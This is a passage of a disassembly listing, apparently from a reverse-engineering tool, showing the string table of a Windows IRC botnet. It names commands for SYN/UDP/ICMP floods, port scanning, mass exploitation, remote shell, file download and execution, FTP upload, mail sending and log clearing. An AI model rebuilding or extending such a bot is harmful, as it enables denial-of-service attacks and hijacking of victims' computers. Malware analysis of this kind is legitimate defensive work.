		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42CC90	db    2			; DATA XREF: seg000:0040CF06o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:0040CE82o
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: seg000:0040CD85o
		align 10h
dword_42CD00	dd 54434101h, 204E4F49h, 17325h					; seg000:0040DCA4o
dword_42CD0C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040CC98o
					; seg000:0040E5DEo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_14	db '  Failed to start scan thread, error: <%d>.',0
dword_42CD58	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040CC29o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: seg000:0040CBFEo
					; seg000:0040E542o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: seg000:0040CBF7o
					; seg000:0040E53Bo
		align 4
dword_42CDE4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040CAB9o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_15	db '  Failed to start scan, no IP specified.',0
		align 10h
dword_42CE30	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040C972o
					; seg000:0040E386o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_42CE84	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040C941o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42CED0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040C8D2o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040C80Bo
		align 4
unk_42CF44	db    2			; DATA XREF: seg000:0040C7F6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42CF90	db    2			; DATA XREF: seg000:0040C78Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_42CFEC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:loc_40C6EEo
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_42D038	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040C6E4o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42D084	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040C66Ao
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:0040C65Ao
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:0040C653o
dword_42D0DC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040C5BEo
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_42D118	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:loc_40C4D6o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_42D158	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040C4CFo
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040C4B8o
aSS_3		db '-s:%s',0            ; DATA XREF: seg000:0040C4A1o
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:0040C481o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:0040C45Do
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040C44Co
		align 4
dword_42D1D8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040C3C6o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: seg000:0040C3A3o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: seg000:0040C380o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: seg000:0040C369o
		align 4
unk_42D234	db    3			; DATA XREF: seg000:0040C328o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:0040C2B4o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: seg000:0040C218o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: seg000:0040C1C9o
		align 4
aUsa		db 'usa',0              ; DATA XREF: seg000:0040C1B2o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: seg000:0040C19Bo
		align 4
aPg		db 'pg',0               ; DATA XREF: seg000:0040C184o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: seg000:0040C16Do
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: seg000:0040C156o
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:0040C13Fo
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: seg000:0040C128o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: seg000:0040C111o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: seg000:0040C0E3o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: seg000:0040C0BAo
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: seg000:0040C0A3o
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: seg000:0040C08Co
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: seg000:0040C075o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: seg000:0040C05Eo
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: seg000:0040C047o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: seg000:0040C030o
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: seg000:0040C019o
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:0040C002o
		align 4
aDonad_frwww	db 'donad.frwww',0      ; DATA XREF: seg000:0040BFEBo
aSy1		db 'sy1',0              ; DATA XREF: seg000:0040BFD4o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: seg000:0040BFBDo
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: seg000:0040BFA6o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: seg000:0040BF8Fo
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: seg000:0040BF78o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: seg000:0040BF61o
aClone_make	db 'clone.make',0       ; DATA XREF: seg000:0040BF4Ao
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: seg000:0040BF21o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: seg000:0040BF0Ao
		align 10h
aBox_mv		db 'box.mv',0           ; DATA XREF: seg000:0040BEF3o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: seg000:0040BEDCo
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: seg000:0040BEC5o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: seg000:0040BEAEo
aDownload_010	db 'download.010`',0    ; DATA XREF: seg000:0040BE97o
		align 4
aDownload_up010	db 'download.up010',0   ; DATA XREF: seg000:0040BE80o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: seg000:0040BE69o
		align 10h
aEnz_delay	db 'enz.delay',0        ; DATA XREF: seg000:0040BE52o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: seg000:0040BE3Bo
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: seg000:0040BE24o
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: seg000:0040BE0Do
aClone_part	db 'clone.part',0       ; DATA XREF: seg000:0040BDF6o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: seg000:0040BDDFo
aClone_join	db 'clone.join',0       ; DATA XREF: seg000:0040BDC8o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: seg000:0040BDB1o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: seg000:0040BD9Ao
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: seg000:0040BD83o
aClone_mode	db 'clone.mode',0       ; DATA XREF: seg000:0040BD6Co
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: seg000:0040BD55o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: seg000:0040BD3Eo
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: seg000:0040BD27o
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: seg000:0040BD10o
		align 10h
aEnz_cy		db 'enz.cy',0           ; DATA XREF: seg000:0040BCF9o
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: seg000:0040BCE2o
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: seg000:0040BCCBo
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: seg000:0040BCB4o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: seg000:0040BC9Do
		align 10h
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: seg000:0040BC86o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: seg000:0040BC6Fo
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: seg000:0040BC58o
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: seg000:0040BC2Fo
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: seg000:0040BC18o
dword_42D568	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40BC0Bo
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_42D598	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40BC01o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_42D5CC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40BBB3o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_42D5FC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040BBA9o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 10h
aUser		db 'user',0             ; DATA XREF: seg000:0040BB1Co
		align 4
dword_42D638	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40BB11o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_42D66C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040BB07o
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: seg000:0040BA9Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: seg000:0040BA84o
		align 10h
aPause		db 'pause',0            ; DATA XREF: seg000:0040BA51o
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:0040BA39o
		align 10h
dword_42D6C0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40BA2Eo
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_42D6F4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040BA24o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_42D72C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040B9A0o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: seg000:0040B97Co
aBox_rf		db 'box.rf',0           ; DATA XREF: seg000:0040B965o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: seg000:0040B94Eo
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: seg000:0040B937o
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: seg000:0040B920o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: seg000:0040B8F2o
					; seg000:0040B909o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: seg000:0040B8DBo
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: seg000:0040B8C4o
		align 4
aBox_del	db 'box.del',0          ; DATA XREF: seg000:0040B8ADo
aBox_delete	db 'box.delete',0       ; DATA XREF: seg000:0040B896o
		align 10h
aBox_pkid	db 'box.pkid',0         ; DATA XREF: seg000:0040B87Fo
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: seg000:0040B868o
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: seg000:0040B851o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: seg000:0040B83Ao
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: seg000:0040B823o
		align 10h
aEnz_dns	db 'enz.dns',0          ; DATA XREF: seg000:0040B80Co
aEnz_se		db 'enz.se',0           ; DATA XREF: seg000:0040B7F5o
		align 10h
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: seg000:0040B7DEo
		align 10h
aBox_o		db 'box.o',0            ; DATA XREF: seg000:0040B7C7o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: seg000:0040B7B0o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: seg000:0040B799o
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: seg000:0040B782o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: seg000:0040B76Bo
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: seg000:0040B754o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: seg000:0040B73Do
aClone_quit	db 'clone.quit',0       ; DATA XREF: seg000:0040B726o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: seg000:0040B70Fo
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: seg000:0040B6F8o
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: seg000:0040B6E1o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: seg000:0040B6CAo
aEnz_pt		db 'enz.pt',0           ; DATA XREF: seg000:0040B6B3o
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: seg000:0040B69Co
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: seg000:0040B685o
		align 10h
aEnz_join	db 'enz.join',0         ; DATA XREF: seg000:0040B66Eo
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: seg000:0040B657o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: seg000:0040B640o
		align 10h
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: seg000:0040B605o
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: seg000:0040B5F0o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: seg000:0040B5DBo
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: seg000:0040B5C6o
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: seg000:0040B5B1o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: seg000:0040B59Co
		align 10h
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: seg000:0040B587o
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: seg000:0040B572o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: seg000:0040B55Do
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: seg000:0040B548o
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: seg000:0040B533o
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: seg000:0040B51Eo
		align 10h
aBox_getclip	db 'box.getclip',0      ; DATA XREF: seg000:0040B509o
dword_42D9BC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040B4F8o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: seg000:0040B4C4o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:0040B4B7o
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:0040B495o
		align 10h
aEnz_who	db 'enz.who',0          ; DATA XREF: seg000:0040B47Co
aCmd		db '[CMD]',0            ; DATA XREF: seg000:0040B471o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: seg000:0040B46Co
		align 10h
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: seg000:0040B453o
		align 10h
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: seg000:0040B43Eo
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: seg000:0040B429o
aBox_dll	db 'box.dll',0          ; DATA XREF: seg000:0040B414o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: seg000:0040B3FFo
		align 10h
aBox_drv	db 'box.drv',0          ; DATA XREF: seg000:0040B3EAo
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: seg000:0040B3D5o
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: seg000:0040B3C0o
		align 10h
aBox_uptime	db 'box.uptime',0       ; DATA XREF: seg000:0040B3ABo
		align 4
aBox_ps		db 'box.ps',0           ; DATA XREF: seg000:0040B396o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: seg000:0040B381o
		align 10h
aEnz_010	db 'enz.010`',0         ; DATA XREF: seg000:0040B36Co
		align 4
aEnz_be010ne	db 'enz.be010ne',0      ; DATA XREF: seg000:0040B357o
aSi		db 'si',0               ; DATA XREF: seg000:0040B342o
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: seg000:0040B32Do
aBox_ni		db 'box.ni',0           ; DATA XREF: seg000:0040B318o
		align 10h
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: seg000:0040B303o
aUtil_clg	db 'util.clg',0         ; DATA XREF: seg000:0040B2EEo
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: seg000:0040B2D9o
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: seg000:0040B2C4o
		align 10h
aEnz_log	db 'enz.log',0          ; DATA XREF: seg000:0040B2AFo
aEnz_al		db 'enz.al',0           ; DATA XREF: seg000:0040B29Ao
		align 10h
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: seg000:0040B285o
aThreads_l	db 'threads.l',0        ; DATA XREF: seg000:0040B270o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: seg000:0040B25Bo
		align 4
dword_42DB48	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040B227o
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 10h
dword_42DB80	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040B220o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: seg000:0040B209o
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: seg000:0040B1F4o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: seg000:0040B1DFo
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: seg000:0040B1CAo
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: seg000:0040B1B5o
		align 10h
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: seg000:0040B1A0o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: seg000:0040B18Bo
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: seg000:0040B176o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: seg000:0040B161o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: seg000:0040B14Co
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: seg000:0040B137o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: seg000:0040B122o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: seg000:0040B10Do
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: seg000:0040B102o
		align 4
aScan		db 'Scan',0             ; DATA XREF: seg000:0040B0FDo
		align 10h
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: seg000:0040B0E4o
		align 4
dword_42DC5C	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: seg000:0040B0D4o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: seg000:0040B0BBo
		align 4
dword_42DC84	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: seg000:0040B0ABo
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: seg000:0040B092o
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: seg000:0040B07Do
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: seg000:0040B068o
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: seg000:0040B053o
		align 10h
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: seg000:0040B03Eo
		align 4
dword_42DCE4	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: seg000:0040B015o
dword_42DD00	dd 69027002h, 1F671F6Eh, 2E2Ehdword_42DD0C	dd 676E6950h, 6F6C6620h, 646Fhdword_42DD18	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42DD28	dd 64027502h, 2E1F701Fh, 2Ehdword_42DD34	dd 20504455h, 6F6F6C66h, 64hdword_42DD40	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42DD50	dd 79027302h, 2E1F6E1Fh, 2Ehdword_42DD5C	dd 206E7953h, 6F6F6C66h, 64hdword_42DD68	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42DD78	dd 64026402h, 1F731F6Fh, 2E2Ehdword_42DD84	dd 536F4444h, 6F6C6620h, 646Fhdword_42DD90	dd 736F6464h, 66666F2Eh, 0dword_42DD9C	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42DDAC	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: seg000:0040AF48o
dword_42DDD0	dd 6F026C02h, 2E1F671Fh, 2Ehdword_42DDDC	dd 20676F4Ch, 7473696Ch, 0dword_42DDE8	dd 2E676F6Ch, 66666Fhdword_42DDF0	dd 74026802h, 641F7074h, 2E2E1Fhdword_42DDFC	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42DE0C	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer		db 'Server',0           ; DATA XREF: seg000:0040AEE6o
					; seg000:0040AF0Fo ...
		align 4
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: seg000:0040AECDo
		align 4
aLd_off		db 'ld.off',0           ; DATA XREF: seg000:0040AEB8o
		align 10h
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: seg000:0040AEA3o
		align 10h
aLd_on		db 'ld.on',0            ; DATA XREF: seg000:0040AE8Eo
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: seg000:0040AE79o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: seg000:0040AE64o
aEnz_version	db 'enz.version',0      ; DATA XREF: seg000:0040AE4Fo
aEnz_lo		db 'enz.lo',0           ; DATA XREF: seg000:0040AE3Ao
		align 10h
aEnz_logout	db 'enz.logout',0       ; DATA XREF: seg000:0040AE25o
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: seg000:0040AE10o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: seg000:0040ADFBo
aEnz_rn		db 'enz.rn',0           ; DATA XREF: seg000:0040ADE6o
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: seg000:0040ADCEo
a63		db '63',0               ; DATA XREF: seg000:0040ACA7o
		align 4
asc_42DEB8:				; DATA XREF: seg000:0040AC7Fo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:0040AC42o
		align 4
aServer_2	db '$server',0          ; DATA XREF: seg000:0040AC37o
aRndnick	db '$rndnick',0         ; DATA XREF: seg000:0040AC26o
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:0040AC0Ao
		align 10h
aUser_2		db '$user',0            ; DATA XREF: seg000:0040ABF9o
		align 4
aMe_0		db '$me',0              ; DATA XREF: seg000:0040ABE7o
aD_0		db '$%d',0              ; DATA XREF: seg000:0040AB79o
aD_1		db '$%d-',0             ; DATA XREF: seg000:0040AABEo
		align 4
dword_42DEF8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:0040AA53o
		dd 0A0Dh
dword_42DF10	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: seg000:0040A9E4o
		align 4
dword_42DF34	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:0040A9CAo
		dd 0D017325h, 0Ah
dword_42DF50	dd 52455601h, 4E4F4953h, 1dword_42DF5C	dd 6968h	aNewshit0	db 'newshit0',0         ; DATA XREF: seg000:0040A854o
		align 4
a332		db '332',0              ; DATA XREF: seg000:0040A7C5o
					; seg000:0040A88Bo ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:0040A7A3o
					; sub_40F466+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:0040A797o
					; sub_40F466+16o
